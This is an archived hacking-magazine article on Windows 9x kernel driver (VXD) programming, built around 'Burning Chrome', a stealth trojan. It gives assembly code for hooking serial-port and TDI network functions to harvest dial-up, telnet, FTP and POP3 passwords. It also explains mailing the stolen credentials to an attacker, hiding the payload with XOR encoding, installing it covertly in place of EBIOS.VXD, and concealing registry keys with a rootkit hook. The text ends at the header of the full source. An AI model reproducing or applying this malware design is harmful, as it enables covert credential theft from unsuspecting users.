TUCoPS :: Windows :: module~1.txt

About Windows LKMs (Loadable Kernel Modules)

COMMAND

    LKM

SYSTEMS AFFECTED

    Windows 9x

PROBLEM

    'Solar Eclipse' found following.  This article explains the basics
    of Windows  9x kernel  modules development  and contains  the full
    source  of  a  loadable  kernel  module  (LKM)  that  performs the
    following functions:

        1) it   captures  TCP   connections  traffic   and    extracts
           telnet/pop3/ftp passwords
        2) it captures dial-up  connections traffic (by capturing  the
           raw  data  from  the  serial  port)  and  extracts  dial-up
           passwords
        3) by accessing the TCP stack directly (bypassing the  Winsock
           interface),  it  emails  all  the  collected authentication
           information to an evil script kiddie sitting in a  basement
           full of stolen hardware
        4) it is virtually undetectable with any standard Windows tools
        5) it is written entirely in assembly and the executable  file
           size is only 7KB

    This  was  first  published  in  Phreedom  Magazine  - a Bulgarian
    h/c/p/a digest.  Check it out at

        http://www.phreedom.org

    Let's assume that you have a basic knowledge of Win32 programming,
    x86  protected   mode  architecture,   32-bit  assembly   language
    programming,    SoftIce    and     basic    Internet     protocols
    (telnet/pop3/ftp/smtp).

    Windows 9x Internals
    ====================
    Windows 9x  has two  separate layers  of code:  DLL layer  and VXD
    layer.

    1) DLL Layer
    The DLL layer consists  of all system DLLs.   It runs as a  Ring 3
    code.  All the API  functions that Windows programs normally  call
    are implemented  in the  DLL layer  (in KERNEL32.DLL,  USER32.DLL,
    GDI32.DLL and other DLLs).   Many of the DLLs call  VXD functions.
    Some of the API functionality  is implemented entirely in the  VXD
    layer and the DLL  functions act only as  gates (this is the  case
    with the registry access  functions).  Calling DLL  functions from
    the VXD  layer is  impossible and  this makes  most of the Windows
    API  inaccessible  to  kernel  modules.   We  will not discuss the
    system DLLs any more, because they are not used for Windows kernel
    hacking.

    2) VXD Layer
    The general  term VXD  stands for  Virtual Device  Driver, the "x"
    being  a  placeholder  for  device  names.   For example, VKD is a
    Virtual Keyboard  Driver, VDD  is a  Virtual Display  Driver, etc.
    The VXD layer  is the core  of the Windows  OS.  It  is similar to
    the Linux  kernel and  the functions  it provides,  although it is
    not  nearly  as  well  documented.   The  VXD  code handles memory
    management, task  switching, low-level  hardware access  and other
    similar tasks.   The core  OS services,  such as  registry access,
    networking and file access are also implemented in the VXD layer.

    All  VXDs  run  in  Ring  0  and  have  full access to the system.
    Hacking the Windows kernel is possible by writing an VXD.

    The Windows Driver Development Kit (DDK) is used for writing VXDs.
    Most programmers shiver  when somebody mentions  'device drivers',
    but but the VXDs can be used for many other purposes.  Let's quote
    Andrew  Schulman,  the  author  of  "Unauthorized  Windows95.    A
    Developer's Guide to Exploring the Foundations of Windows 95":

       "...Seen from this perspective, the names Virtual Device Driver
       and  Device  Driver  Kit  are  unfortunate.  They automatically
       turn off most Windows developers, who quite sensibly feel  that
       device-driver writing is  an area they  would rather stay  away
       from.   More  appropriate  names  would  have  been  "TSRs  for
       Windows" or "Please Hack Our Operating System".  As it is,  the
       names VXD and DDK alienate many programmers who would otherwise
       jump at this stuff.

       ...Admittedly, very few Windows programmers will be using  VXDs
       to write hardware interrupt handlers or device drivers.  But  a
       short time spent with the DDK should convince you that  there's
       a ton  of documented  functionality available  to VXDs  that is
       otherwise  difficult  or  impossible  to  get  under   Windows.
       Whenever a  programmer says  that something  is "impossible" in
       Windows, I  suspect the  correct reply  will be  "No it  isn't.
       Write a VXD"   Just as TSRs allowed  DOS programmers to do  the
       otherwise-impossible  in  the  1980s,  VXDs  are  going  to let
       Windows programmers go anywhere and do anything in what's  left
       of the 1990s."

    Unfortunately (or maybe fortunately) writing VXDs for Windows  has
    not  become  as  common  as   writing  TSRs  for  DOS  was.    The
    possibilities that the Virtual  Device Drivers offer are  big, but
    writing one is not an easy task.

    Your First VXD
    ==============
    VXDs are usually written with the Windows98 DDK, which includes  a
    copy of the Microsoft Macro  Assembler (MASM).  It is  possible to
    use C for VXD development,  but using assembly is definitely  more
    fun.   Other   tools,  such   as  NuMega   DriverWorks  make   the
    programmer's job easier, but for this example we will use only the
    Win98 DDK.  The DDK is available for free download on  Microsoft's
    web site.  Even if they take it down, you will be able to find  it
    on some old copy of the MSDN or on the net.

    Having a copy of  the Windows NT4 DDK,  Windows 2000 DDK and  even
    the Windows  3.11 DDK  will also  be nice.   Many interesting  VXD
    features are poorly documented or not documented at all.  Although
    the Windows  98 DDK  will be  your primary  source of information,
    sometimes you will  find the information  you need in  some of the
    other kits.   The Windows  3.11 DDK  is useful,  because there are
    a lots  of similarities  in the  internal architecture  of Windows
    3.11  and  Windows  95.  (Contrary  to the Microsoft hype, Windows
    3.11 was closer to Windows 95 than to Windows 3.1.  Basically  the
    only major change between 3.11 and 95 was the GUI).

    The VXDs are LE  executables.  You need  a special linker to  link
    them (included in  the DDK).   The following source  is a template
    for a very basic VXD. It's  just an example for a module  that can
    be successfully loaded by the system.

        ; EXAMPLE.ASM

        ; VXDs use 386 protected mode

        .386p

        ; Many system VXDs export services, just like the system DLLs in Windows.
        ; We can use these services for memory allocations, registry and file
        ; access, etc.
        ; All we need to do is include the appropriate include file. There are
        ; many INC files for the system VXDs that come with the DDK.
        ; VMM.INC is the only required include file. It contains the declarations
        ; for many important services exported by VMM32.VXD, as well as many
        ; macros that are used for VXD programming.

        INCLUDE VMM.INC
        ; All VXDs need a Driver Declaration Block (DDB), that stores information
        ; about its name, version, control procedure, device ID, init order, etc.
        ; To build this DDB use the Declare_Virtual_Device macro with the following
        ; parameters:
        ;   - VXD name (needs not be the same as the file name)
        ;   - Major version
        ;   - Minor version
        ;   - Control procedure (similar to WndProc in normal Windows programs. This
        ;     procedure receives all the system messages and processes them
        ;   - Device ID - used only for VXDs that export services. Arbitrary values
        ;     might work as long as they don’t conflict with the official Device IDs
        ;     assigned by Microsoft
        ;   - Init order - 32 bit integer, determines the order in which the VXDs
        ;     are loaded. If you want your VXD to be loaded after some other VXD,
        ;     use a value greater than the other VXD's init order

        Declare_Virtual_Device EXAMPLE, 1, 0, Control_Proc, Undefined_Device_ID, \
        Undefined_Init_Order, , ,

        ; This macros declares the data segment

        VxD_DATA_SEG

        SomeData        dd 0    ; Just some data

        VxD_DATA_ENDS

        ; Code segment

        VxD_CODE_SEG

        BeginProc      SomeProcedure

                push eax
                mov eax, 1
                pop eax

                ret

        EndProc        SomeProcedure

        VxD_CODE_ENDS

        ;Locked code segment - will be explained later

        VxD_LOCKED_CODE_SEG

        ; This is the control procedure. It should use Control_Dispatch macros for
        ; handling the messages. This macro takes 2 parameters - message_code and
        ; handler address. You can find a list of all the messages in the DDK
        ; documentation.
        ; This example only handles the Device_Init message and calls the
        ; Do_Device_Init function.

        BeginProc       Control_Proc
                Control_Dispatch Device_Init, Do_Device_Init
                clc
                ret
        EndProc         Control_Proc

        VxD_LOCKED_CODE_ENDS

        ; Init code segment

        VxD_ICODE_SEG

        ; This procedure is called after the VXD is loaded. Put the initialization
        ; code in it.

        BeginProc       Do_Device_Init

        ; Put some init code here...

                ret
        EndProc         Do_Device_Init

        VxD_ICODE_ENDS

        ; End of EXAMPLE.ASM

                END

    There are 7 different types of segments that your VXD can use.
    1) VxD_DATA_SEG and VxD_CODE_SEG - for pageable code and data
    2) VxD_LOCKED_DATA_SEG  i  VxD_LOCKED_CODE_SEG  -  this   segments
       contain  non-pageable  code  and  data.  Control_Proc  and  the
       interrupt  handlers  should  be  in  VxD_LOCED_CODE_SEG.  Solar
       Eclipse (SE)  was not  quite sure  about the  rest of the code.
       The Windows DDK documentation is not very clear about that.  If
       your VXD  is small,  you might  want to  use only  non-pageable
       memory, just to be safe.
    3) VxD_ICODE_SEG i VxD_IDATA_SEG  - initialization code and  data.
       These  segments  are  discarded  after  the  initialization  is
       finished.   This  is  a  good  place  for  the   Do_Device_Init
       procedure.
    4) VxD_REAL_INIT_SEG  - The  code in  this segment  is executed by
       Windows  before  the  processor  switches  to  protected  mode.
       Unless you are writing a  REAL device driver, it's pretty  much
       useless.

    To compile the example VXD you  will also need a .DEF file.   This
    is EXAMPLE.DEF:

        LIBRARY  EXAMPLE

        DESCRIPTION 'VxD Example by Solar Eclipse'

        EXETYPE  DEV386

        SEGMENTS
               _LTEXT PRELOAD NONDISCARDABLE
               _LDATA PRELOAD NONDISCARDABLE
               _ITEXT CLASS 'ICODE' DISCARDABLE
               _IDATA CLASS 'ICODE' DISCARDABLE
               _TEXT  CLASS 'PCODE' NONDISCARDABLE
               _DATA  CLASS 'PCODE' NONDISCARDABLE

        EXPORTS
               EXAMPLE_DDB  @1

    If your DDK is set up  correctly, and all the shell variables  are
    initialized (read the  DDK docs for  that), you should  be able to
    compile  EXAMPLE.VXD  with  the  following  commands (no Makefile,
    sorry).  You can compile a DEBUG version with this:

        set ML=-coff -DBLD_COFF  -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl
        ml example.asm

    NO_DEBUG version:

        set ML=-coff -DBLD_COFF  -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl
        ml example.asm

    Then link it:

        link example.obj /vxd /def:example.def

    Put  the  file  EXAMPLE.VXD  in  C:\WINDOWS\SYSTEM  and  add   the
    following to the [386Enh] section of SYSTEM.INI

        device=example.vxd

    After the system is rebooted, the  VXD will be loaded.  Of  course
    it won't do much, but you can see it in the VXD list with SoftIce.

    The VXDs  allow you  to access  most of  the core Windows services
    directly and this gives you some interesting possibilities.  Let's
    explore the features implemented in CHROME.ASM.

    I. Capturing dial-up passwords
    ==============================
    Almost  all  dial-up  connections  are  initiated  through a modem
    attached to a serial port, using  the PPP protocol.  The two  most
    common ways of authentication are via PAP (Password Authentication
    Protocol) or via a login prompt.   To get these passwords we  need
    to capture the traffic passing through the serial port.

    The Hook_Device_Service system call allows us to hook the services
    exported by the  VXDs.  VCOMM.VXD  exports three services  that we
    need  to  hook.  These  are  VCOMM_OpenComm,  VCOMM_WriteComm  and
    VCOMM_CloseComm.  The following code hooks the services:

        ; Hook VCOMM services

        GetVxDServiceOrdinal eax, _VCOMM_OpenComm
        mov esi, offset32 OpenComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

        GetVxDServiceOrdinal eax, _VCOMM_WriteComm
        mov esi, offset32 WriteComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

        GetVxDServiceOrdinal eax, _VCOMM_CloseComm
        mov esi, offset32 CloseComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

    OpenComm_Hook, WriteComm_Hook and CloseComm_Hook are the names  of
    the new service handlers.

    One of  the OpenComm  parameters is  the name  of the device being
    opened. When  a dial-up  connection is  established, Windows opens
    COM1, COM2, COM3  or COM4 and  sends the AT  modem commands.   Our
    OpenComm procedure checks  the device name  and sets a  flag if it
    is a  COM port.   All the  subsequent WriteComm  calls are logged,
    until the connection is closed.

    If the flag is set, the WriteComm procedure saves all the data  to
    a buffer.  When the buffer gets full, the data in it is  processed
    and saved to the registry.

    The main goal of the log processing routines is to make sure  that
    no username/password combination is  emailed twice - getting  your
    mailbox flooded by a misbehaving  trojan horse is not good.   This
    requires the usernames and the passwords to be saved and each  new
    connection to be checked against the old sessions.  The best place
    for storing such information is the registry.  Reading and writing
    to the registry is much easier than storing the data in a file  on
    the hard disk.  The chance of the user noticing a few new  entries
    in the registry is also very slim.

    For  each  session,  four  things  need  to  be  saved:  username,
    password, phone number or IP address of the remote end and the log
    itself.  Before the session  is saved, the username, password  and
    the phone number  are extracted from  the log and  compared to the
    existing  values  in  the  registry.   If  a session with the same
    values exists, the new session is not saved.

    CHROME.ASM combines the username,  password and phone number  into
    a single string.  Then it saves the session to the registry  using
    this string  as the  key name  and the  log as  the key value. The
    string  acts  as  a  hash  of  the  log.  When a new connection is
    captured, its hash string is generated and the VXD checks if a key
    with the same hash exists.  It  does this by trying to open a  key
    with the  same name  as the  hash string.   If the RegQueryValueEx
    call fails, the new connection is saved.

                ; The following code is taken from the Send_Common procedure

                ; ValueName is pointer to the beginning of the hash string.
                ; pBuffer is a pointer to the log
                ; RegQueryValueEx expects a pointer to a pointer, so dwTemp_1 is used
                ; for passing a pointer to a NULL pointer

        Get_Reg_Value:
                ; Try to get the value with the same name

                xor ebx, ebx
                mov dwTemp_1, ebx
                push offset32 dwTemp_1          ; cbData
                push ebx                        ; lpszData
                push ebx                        ; fdwType
                push ebx                        ; dwReserved
                push ValueName                  ; lpszValueName
                push hOurKey                    ; phKey

                VMMCall _RegQueryValueEx        ; Get the value of the key
                add esp, 18h

                cmp eax, ERROR_FILE_NOT_FOUND   ; If key exists
                jne Send_Common_Abort

                ; Save the result in the registry

                push BufferSize                 ; cbData
                push pBuffer                    ; lpszData
                push REG_SZ                     ; fdwType
                push 0                          ; dwReserved
                push ValueName                  ; lpszValueName
                push hOurKey                    ; phKey

                VMMCall _RegSetValueEx          ; Set the value of the key
                add esp, 18h

    When the  user ftp's  to a  server his  connection is  logged.  If
    later  he  decides  to  telnet  to  the  same server with the save
    username and password,  the telnet connection  will not be  saved,
    because the hash string will be  the same.  To avoid this  we will
    include an connection  type identifier in  the hash string.   This
    identifier is  a single  letter put  in the  beginning of the hash
    string:

        TraceLetters            equ $  ; Table with letters for each different
        NOTHING                 db 'N' ; type of trace. Indexed with TraceType
        MODEM                   db 'M'
        TELNET                  db 'T'
        FTP                     db 'F'
        POP3                    db 'P'

    The  buffer  processing  functions  for  the  dial-up  and the TCP
    connections are  very similar.   They only  differ in  the way the
    hash  string  is  extracted  from  the  log.   The  common  buffer
    processing is done by the Send_Common function.  It saves the  new
    data in the  buffer and checks  if it is  full.  Usually  we don't
    need  to  capture  more  than  the  first hundred bytes to get the
    username and password.  If the  buffer is full, the log should  be
    processed.  The TraceType variable contains the connection type  -
    modem, telnet,  ftp or  pop3.   Send_Common calls  the appropriate
    log processing function - in  the case of a dial-up  connection it
    calls  ModemLog.  The  log  processing  functions  extract  a hash
    string from the buffer and returns it to Send_Common.

    ModemLog checks the captured data for an ATD command. If does  not
    find it, an error flag is set  and the data is not saved into  the
    registry.  Else  the phone number  is extracted and  copied as the
    first part of the hash string.

    If the first transferred byte after  the phone number is a '~'  we
    are  dealing  with  a  PPP  connection.  During the PPP connection
    establishment authentication  information can  be exchanged.   The
    most commonly used protocol is called PAP (Password Authentication
    Protocol).  CHAP  (Challenge  Authentication  Protocol)  is   also
    popular,  but  it  does  not  send  the  password in cleartext and
    therefor  can  not  be  captured  by  the  VXD.  You can find more
    information on PAP in RFC1172: The Point-to-Point Protocol Initial
    Configuration Options. The PPP protocol is described in RFC1331.

    The  PAP  authentication  information  is  transmitted using a PPP
    packet with a PAP sub-packet type. The structure of the PAP packet
    is shown in the following table:

        | 7E | C0 23 | 01 | xx | xx xx |  ULen  | U S E R |  PLen  | P A S S |
        |    |       |    |    |       |        |         |        |         |
        |PPP |  PAP  |code| id |length |user len|username |pass len|password |

    All PAP packets  start with 7E  C0 23. If  the packet is  carrying
    authentication information the  PAP code is  01.  We  need to scan
    the captured PPP  session for the  7E C0 23  01 byte sequence  and
    copy the username and the password to hash string.

    If the first character after the  phone number is not '~', we  are
    dealing  with  a  login  prompt  configuration.   Usually the user
    enters  a  username,  presses  Enter,  then  enters  the password,
    presses Enter again and the PPP connection is established.  As  we
    already know, the first byte of the PPP handshake sequence is '~'.
    If we copy all  the data before the  '~' to the hash  string we'll
    surely get the username and the password.

    II. Capturing TCP connections
    =============================
    Everybody  reading  this  is  probably  familiar  with the Winsock
    interface.   What  most  of  you  don't  know  is that most of the
    Winsock functions are implemented in the Transport Data  Interface
    (TDI).   This  is  a  kernel  mode  interface  for network access,
    supporting different  network protocols.   WINSOCK.DLL is  just  a
    convenient way for the  Windows applications to use  this interace
    without calling the VTDI.VXD services directly.

    Among others the TDI interface provides the functions  TdiConnect,
    TdiDisconnect  and  TdiSend.   They  correspond  directly  to  the
    Winsock functions connect(), disconnect()  and send(). We need  to
    hook these functions and intercept the data being sent.  There  is
    no  documented  way  for  hooking  these  functions,  but it's not
    impossible.  The  VTDI_Get_Info system call  returns a pointer  to
    the  TdiDispatchTable,  which  contains  pointers  to  all the TDI
    functions.  The applications that use TDI are supposed to get  the
    addresses from this table and call the TDI functions directly.  If
    we get the address of this table and replace the addresses of  the
    TDI functions with the addresses  of our hooks, all the  TDI calls
    will get routed to us.  Our  code runs in Ring 0 and we  have full
    access to the memory and can  change whatever we want.  Of  course
    we need to save the addresses  of the old handlers so that  we can
    call them later.  Sounds just like hooking DOS interrupt handlers,
    doesn't it?

    Here is the code for hooking the TDI functions:

        ; Make sure VTDI is present

        VxDcall VTDI_Get_Version
        jc Abort

        ; Get a pointer to the TCP dispatch table

        push offset32 TCPName
        VxDcall VTDI_Get_Info
        add esp, 4

        mov TdiDispatchTable, eax       ; Save the address of TdiDispatchTable

        ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend

        mov ebx, [eax+0Ch]
        mov TdiCloseConnection_PrevAddr, ebx
        mov [eax+0Ch], offset32 TdiCloseConnection_Hook

        mov ebx, [eax+18h]
        mov TdiConnect_PrevAddr, ebx
        mov [eax+18h], offset32 TdiConnect_Hook

        mov ebx, [eax+1Ch]
        mov TdiDisconnect_PrevAddr, ebx
        mov [eax+1Ch], offset32 TdiDisconnect_Hook

        mov ebx, [eax+2Ch]
        mov TdiSend_PrevAddr, ebx
        mov [eax+2Ch], offset32 TdiSend_Hook

    The TDI documentation  in the Windows  DDK is incomplete  and very
    confusing,  but  it's  the  only  available source of information.
    TdiConnect  is  passed  a  pointer  to a RequestAddress structure,
    which  contains  a  pointer  to  a  RemoteAddress structure, which
    contains the IP  address and the  port number.   After making sure
    that the RequestAddress  is of type  IPv4, our TdiConnect  handler
    checks the destination  port number.   If it is  21, 23 or  110 we
    need to  capture this  connection.   We need  to set the TraceType
    flag  and  save   the  connection  handle.    Unfortunately   this
    connection  handle  is  not  returned  directly  by  the  original
    TdiConnect function.   One of its  parameters is the  address of a
    callback function which  is to be  called after the  connection is
    established (or when an error occurs).  We will save the  supplied
    address of the callback function  and replace it with the  address
    of TdiConnect_Callback function in the VXD.  This function  checks
    the  connection  status.    If  the  connection  is   successfully
    established,  the  connection  handle   is  saved.  If  not,   the
    TraceType flag is  unset.  After  that the real  callback function
    is called.

    TdiSend is very  similar to WriteComm.   It checks the  connection
    handle and  if it  matches the  connection that  we are  currently
    tracing TdiSend calls  SendCommon.  From  there on the  process is
    exactly the same as described above.

    If we are  tracing a pop3  session, SendCommon calls  Pop3Log as a
    log processing function.  Pop3Log  converts the IP address of  the
    server to  a hex  string and  saves it  as the  first part  of the
    hash.   This  makes   sure  that  two   accounts  with  the   same
    username/password  on  different  servers  will  not get confused.
    Then the  log is  scanned for  the USER  and PASS  commands.   The
    username and password are extracted and stored in the hash string.

                mov esi, pBuffer
                mov ecx, BufferSize
                mov ebx, ecx

                mov eax, 'RESU'                 ; Search for USER

        USER_or_PASS_Loop:
                cmp dword ptr [esi], eax        ; Search for USER or PASS (in eax)
                je USER_or_PASS_Copy_Loop_Start

                inc esi
                dec ecx
                jz Pop3Log_Abort
                jmp USER_or_PASS_Loop

        USER_or_PASS_Copy_Loop_Start:
                add esi, 5                      ; Skip 'USER' and 'PASS'

        USER_or_PASS_Copy_Loop:
                cmp byte ptr [esi], 0Dh         ; Is <CR> here?
                jne Copy_USER_or_PASS

                cmp al, 'P'                     ; Is this a PASS copy?
                je Pop3Log_End                  ; Work done, finish log processing

                mov ax, 0A0Dh                   ; Save a <CR> between username & pass
                stosw

                mov eax, 'SSAP'
                jmp USER_or_PASS_Loop

        Copy_USER_or_PASS:
                movsb
                dec ecx
                jz Pop3Log_Abort
                jmp USER_or_PASS_Copy_Loop

    This  code  is  shown  here  only  as  a prove that programming in
    assembly  is  a  very  brain  damaging  activity.   After spending
    several years  doing assembly  language programming,  you'll never
    programmer the same way as before, even in a high level  language.
    Whether this is good or bad is a different question.

    The FTP protocol is very similar to the POP3 protocol. In fact the
    authentication commands  (USER &  PASS) are  exactly the  same and
    FtpLog can simply call Pop3Log.  We don't want to capture all  the
    anonymous  ftp  connections  and  that's  why  FtpLog  checks  the
    username.  If it is 'anonymous', the connection trace is aborted.

    All telnet logs are processed by the TelnetLog function.  It is  a
    little bit more complicated  because the Telnet client  negotiates
    the terminal options with the server before it lets the user  type
    his   username   and   password.      The   algorithm   for    the
    username/password extraction is as follows:

        DATA: terminal options | 0 | username | CR | password | CR | more data

    1) find the first CR
    2] find the second CR
    3) save the second CR position
    4) search for the 0 (going back from the second CR)
    5) stop when 0 is found or the beginning of the buffer is reached
    6) copy everything from  the current position (starting  after the
       \0 or at the  beginning of the buffer)  to the position of  the
       second CR

    While writing this article SE went through his code once again and
    found the following comment:

        ; If NULL is found, edi points to the byte before it and we need to do
        ; inc edi twice. Else, edi would point to the first char in the buffer
        ; and we don't need to inc it.
        ; That's why we have done 'inc ecx' twice a couple of lines before.
        ; This way, if NULL is not found, edi points to the first-2 char
        ; and we can (and must) do inc edi two times.

        inc edi
        inc edi

    This shows that writing code at 3am is not very healthy.

    III. Emailing the captured passwords
    ====================================
    Sending  the  captured  passwords  back  to  the  hacker  is  very
    important.  The mailing function needs to be robust, otherwise all
    the password capturing code is useless.

    The mailing  function needs  to be  called only  when an  Internet
    connection is present.   We could use our  COM port hook and  find
    out when a PPP connection  is established, but this wouldn't  work
    for machines with Ethernet connections.  The simplest thing do  is
    to  make  our  TdiConnect  handler  call  the  Sendmail   function
    everytime an outgoing connection on port 80 is detected.  In  this
    day and age, everybody uses the Web.  A connection to a web server
    is a clear indication that an Internet connection is also present.
    If this  is not  the case  (the user  might be  using a  local web
    server or an Intranet without external connectivity) the  Sendmail
    function will fail connecting and retry again the next time.

    When new data is saved to the registry, a flag is set.  The letter
    'P' is saved as the default value of the registry key.  This  flag
    is  later  checked  by  the  mailing  function  and  the  captured
    passwords are emailed if it is  set.  After the email is  sent the
    default value is deleted from the registry.  This way an email  is
    sent only when there is a  new password. It is better to  send all
    the passwords  every single  time than  to send  only the new one.
    This way if one email is lost, there is still a chance of  getting
    the lost password the next time.

    Sendmail uses TDI  to connect to  a mail server  and send all  the
    captured passwords and logs.  Before a connection is  established,
    a message buffer is allocated from the heap.  This buffer is  used
    for  constructing  the  sequence  of  SMTP commands and email data
    before sending  it to  the mailserver.   First some  SMTP commands
    are copied to the buffer:

        HELO localhost
        MAIL FROM:<xxx@xxx.com>
        RCPT TO:<xxx@xxx.com>
        DATA

    Then the email message is constructed.  The subject of the message
    is set to the RegisteredOwner value from

        HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion

    The first 3 lines from the message contain RegisteredOrganization,
    SystemRoot and VersionNumber - for statistical purposes only.

    As you already know, our logs  are stored as values in a  registry
    key.   The Sendmail  function enumerates  these values  and copies
    them to the mail buffer.  The email text is finished with '.'  and
    the QUIT command is put into the buffer.

    Opening a  TDI connection  and sending  the contents  of the  mail
    buffer is  pain in  the ass.  We need  to open  an address  object
    (TdiOpenAddress),  save  the  returned  address  handle,  open   a
    connection  object   (TdiOpenConnection),  save   the   connection
    context, associate the connection context with the address  handle
    (TdiAssociateAddress) and then finally call TdiConnect.  Of course
    the documentation does not mention any of these steps or the order
    in  which  they  have  to  be  performed.   Figuring this out with
    SoftIce is not fun.

    Most TDI functions are asynchronous and call the  TdiMail_Callback
    function   on   completion.     TdiConnect   is   no    exception.
    TdiMail_Callback checks the  error code and  if the connection  is
    established correctly it  sends the contents  of the mail  buffer.
    Sending all  the commands  with one  write is  not allowed  by the
    SMTP protocol,  but it  works with  most mail  servers.  After the
    sending the  TdiMail_Callback is  called again,  this time because
    the send was completed.  The connection is then closed by  calling
    TdiDisconnect and TdiCloseAddress.

    The default value  of our reg  key is deleted,  thus unsetting the
    flag.  The next time Sendmail is called it will not send anything,
    unless a new password was captured.

        ; Delete the default value (send is done)

        xor eax, eax
        push eax                        ; cbData
        push offset32 Zero              ; lpszData
        push REG_SZ                     ; fdwType
        push eax                        ; lpSubKey
        push hOurKey

        VMMCall _RegSetValue
        add esp, 14h

    IV. Misc
    ========
    All the ASCII data in CHROME.VXD  is XOR-ed with 42.  This  is not
    a storing encryption scheme, but  it will fool a less  experienced
    observer.

                mov edi, ASCIIStart
                mov ecx, ASCIILength

        Decode_Loop:                            ; Why 42...? :-)
                xor byte ptr [edi], 42
                inc edi
                loop Decode_Loop

    The installation process of Burning Chrome is really  interesting.
    The standard  installation approach  for VXDs  is to  copy them to
    C:\WINDOWS\SYSTEM and add the appropriate entry in the registry or
    in the SYSTEM.INI file.   Modifying the registry or INI  files can
    be easily detected and should be avoided.

    The core Windows  VXDs are compressed  into a single  file, called
    VMM32.VXD.  This is not a normal VXD file.  When the system  loads
    it during the  boot process, all  the files that  are contained in
    it are extracted  and loaded as  kernel modules.   The file format
    of the VMM32.VXD is documented and it is possible to add VXD files
    to it.   Unfortunately, registry  entries are  still required  for
    these files and  we can not  force the system  to load our  module
    without  modifying  the  registry.   The   C:\WINDOWS\SYSTEM\VMM32
    folder  has  a  special  function.   Every  time  a  VXD  from the
    VMM32.VXD collection is loaded, Windows checks if a file with  the
    same name exists in this directory.   If it finds a file with  the
    same name, it is loaded instead of the VXD in VMM32.VXD.

    Suppose  that  a  AAA.VXD  is  in  VMM32.VXD.   If we name our VXD
    AAA.VXD and put it  in C:\WINDOWS\SYSTEM\VMM32, then Windows  will
    load our module instead of the original VXD.

    The only problem is  that we need a  VXD that is in  VMM32.VXD and
    is loaded by default, but  not necessary needed.  The  perfect VXD
    is EBIOS.VXD. EBIOS  is a failed  BIOS extention standard  by IBM.
    Most  modern  computers  use  Award/Phoenix/AMI  BIOSes and do not
    support EBIOS.  The lack of this VXD will not be fatal.

    All  we  have  to  do  is  name  our  VXD EBIOS.VXD and copy it to
    C:\WINDOWS\SYSTEM\VMM32.   We don't  need to  modify any  existing
    system files.  Most anti-virus  programs will alert the user  if a
    program is trying to write  to SYSTEM.INI or modify system  files,
    but they will happily let us copy a file.

    IV. Known Bugs
    ==============
    There are many bugs in this code.   Here is the list of the  known
    bugs:
    1) Sometimes the  Sendmail function fails  to send the  email.  It
       should be  redesigned to  comply to  the RFC  - send a command,
       wait for a reply, send the next command, wait for a reply, etc.
    2) Anonymous FTP sessions are logged, although they should not be.
       Don't no why.
    3) The TelnetLog function includes some Telnet options in the hash
       string.

    Here is a list of improvements that can be added to the code.
    1) Add encryption to the email  messages.  Even a simple XOR  will
       be better than sending everything in cleartext.
    2) Capture   HTTP  form   submissions  and   look  for     webmail
       passwords/credit card numbers/etc.
    3) Hide  the registry  key that  we use  to store  our data.   The
       RegEnumKey  function  returns  the  names  of  the subkeys of a
       given key.  We can hook  it and check the name of  the returned
       key.  If it  matches the key name  that we want to  hide, we'll
       return an error.

    Here is some simple code for doing this (hidearg.asm):

        .386p

        INCLUDE VMM.INC
        INCLUDE VMMREG.INC

        Declare_Virtual_Device HIDEREG, 1, 0, Control_Proc, Undefined_Device_ID, \
        Undefined_Init_Order, , ,

        VxD_LOCKED_DATA_SEG

        pRegEnumKey_PrevHook           dd 0

        VxD_LOCKED_DATA_ENDS

        VxD_LOCKED_CODE_SEG

        BeginProc RegEnumKey_Hook, HOOK_PROC, pRegEnumKey_PrevHook, LOCKED

                push ebp                        ; C rulez!
                mov ebp, esp

        ; ebp+00h -> saved ebp
        ; ebp+04h -> return address
        ; ebp+08h -> hKey
        ; ebp+0Ch -> iSubKey
        ; ebp+10h -> lpszName
        ; ebp+14h -> cchName

                pushad
                pushfd

                int 3

                push [ebp+14h]                  ; Push cchName
                push [ebp+10h]                  ; Push lpszName
                push [ebp+0Ch]                  ; Push iSubKey
                push [ebp+08h]                  ; Push hKey
                call [pRegEnumKey_PrevHook]     ; Call the old handler

                add esp, 10h                    ; C really rulez!

                mov [ebp-04h], eax              ; blah...

                mov edi, [ebp+10h]

                cmp dword ptr [edi], 'xzzy'     ; Is this "hidden" key ?
                jne RegEnumKey_Hook_End

                mov dword ptr [ebp-04h], ERROR_NO_MORE_ITEMS ; Dirty, but works

                mov byte ptr [edi], 0

        RegEnumKey_Hook_End:
                popfd
                popad

                pop ebp

                ret

        EndProc RegEnumKey_Hook


        BeginProc       Control_Proc
                Control_Dispatch Device_Init, Do_Device_Init
                clc
                ret
        EndProc         Control_Proc

        VxD_LOCKED_CODE_ENDS

        VxD_ICODE_SEG

        BeginProc       Do_Device_Init

                GetVxDServiceOrdinal eax, _RegEnumKey
                mov esi, offset32 RegEnumKey_Hook
                VMMcall Hook_Device_Service

                ret
        EndProc         Do_Device_Init

        VxD_ICODE_ENDS

        ; End of HIDEREG.ASM

                END

    Functions List
    ===============
    This is a list  of all the functions  in CHROME.ASM and what  they
    do.

          VCOMM Hooking

        OpenComm_Hook           Start modem log
        WriteComm_Hook          Log modem data
        CloseComm_Hook          End modem log

          TDI Hooking

        TdiConnect_Hook         Start TCP log
        TdiConnect_Callback     Helper for TdiConnect_Hook
        TdiSend_Hook            Log TCP data
        TdiDisconnect_Hook      End TCP log
        TdiCloseConnection_Hook End TCP log

          General logging

        Send_Common             Common code for logs
        ModemLog                Processes modem logs
        TelnetLog               Processes telnet logs
        FtpLog                  Processes ftp logs
        Pop3Log                 Processes pop3 logs
        DWordToStr              aka IP2HexStr

          Mailing

        Sendmail                Sendmail
        TdiMail_Callback        Helper for Sendmail
        QueryRegValue           Gets registry data

    Finally, our Mr. code:

    ;---------------------------------------------------------------------------;
    ; Burning Chrome version 0.9 by Solar Eclipse <solareclipse@phreedom.org>   ;
    ;                                                                           ;
    ; This program is free. Feel free to use it any way you want. If you break  ;
    ; the law and get caught, don't come whining to me. If you modify the code, ;
    ; please be a nice guy and send me a copy.                                  ;
